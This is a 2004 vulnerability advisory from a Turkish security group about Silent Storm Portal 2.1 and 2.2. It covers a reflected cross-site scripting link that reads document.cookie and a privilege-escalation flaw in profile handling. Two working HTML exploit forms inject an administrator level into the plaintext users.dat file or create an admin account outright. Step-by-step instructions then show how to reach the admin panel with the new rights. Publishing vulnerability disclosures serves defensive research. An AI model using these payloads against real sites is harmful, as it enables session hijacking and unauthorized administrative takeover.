#####################################
# CHT Security Research-2004 #
# http://www.CyberSpy.Org #
# Turkey #
#####################################
Software:
Silent Storm Portal
Web Site:
http://www.silent-storm.co.uk/ssp/
Affected Version(s):
2.1,2.2
Description:
Silent Storm Portal is a PHP based portal system.It requires PHP4 or above.no
MySQL needed.
Multiple Vulnerabilities in Silent Storm Portal:
Cross-Site Scripting vulnerability :
Silent Storm Portal is prone to cross-site scripting attacks. It is possible to
construct a link containing arbitrary script code to a website running Silent
Storm Portal . When a user browses the link, the script code will be executed
on the user in the context of the site using the Portal.The impact of this
issue is that the attacker is able to hijack a legitimate web user's session,
by stealing cookie-based authentication credentials.
Demonstration:
http://www.victim.com/index.php?module=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E
Unauthorized Administrative Access Vulnerability :
Silent Storm Portal stores all account informations,usernames and passwords in
the users.dat file.This file is a plaintext file stored in the db
directory.There is a flaw in profile.php file which could allow normal members
to gain escalated privileges.The issue occurs due to insufficient sanitization
of user-supplied data that may allow escape character sequences to be injected
into the users.dat file.Submitting an e-mail address with an evil level code
via profile module will inject Administrator level value into the database file
and will escalate the current level to Administrator privileges.
Demonstration:
Register a user account then login and run the exploit.html
---exploit.html----
<form method="post"
action="http://www.victim.com/index.php?module=../../profile";>
<input type="text" name="mail" value="any@mail.com"><br>
<input type="hidden" name="mail" value="<~>1<~>">
<input type="submit" name="post" value="Get Admin!">
</form>
---/exploit.html---
That's All!
What Happened?
The 3rd line of exploit.html injected Administrator level "1" into the database
file.
( 1: Administrator,2: is Normal User. )
examples from the database file:
before exploiting:
evilaccount<~>password<~>any@mail.com<~>2<~><~><~><~><~>
Level
Normal User
after exploiting:
evilaccount<~>password<~>any@mail.com<~>1<~><~>2<~><~><~><~><~><~><~>
Injected Level
Administrator
You'll get "Updated Your Profile Sucessfuly !" message after executing the
exploit.html
That's All! logout and re-login with your username/password.
click to "Admin Panel" link. ( index.php?module=../../apanel )
Now you have full Administrator privileges.
Here is another code that creates an Administrator account directly on the
victim's portal:
---exploit2.html----
<form method="post" action="http://www.victim.com/index.php?module=../../Home";>
User:<input type="text" name="usr" size="10"><br>
Pass:<input type="password" name="pas" size="10"><br>
<input type=hidden name="ema" value="any@mail.com<~>1<~>"><br>
<input type="submit" name="reg" value="Create Admin!">
</form>
---/exploit2.html---
----------------------------
The original article can be found at:
http://www.CyberSpy.Org
(Turkish Language)
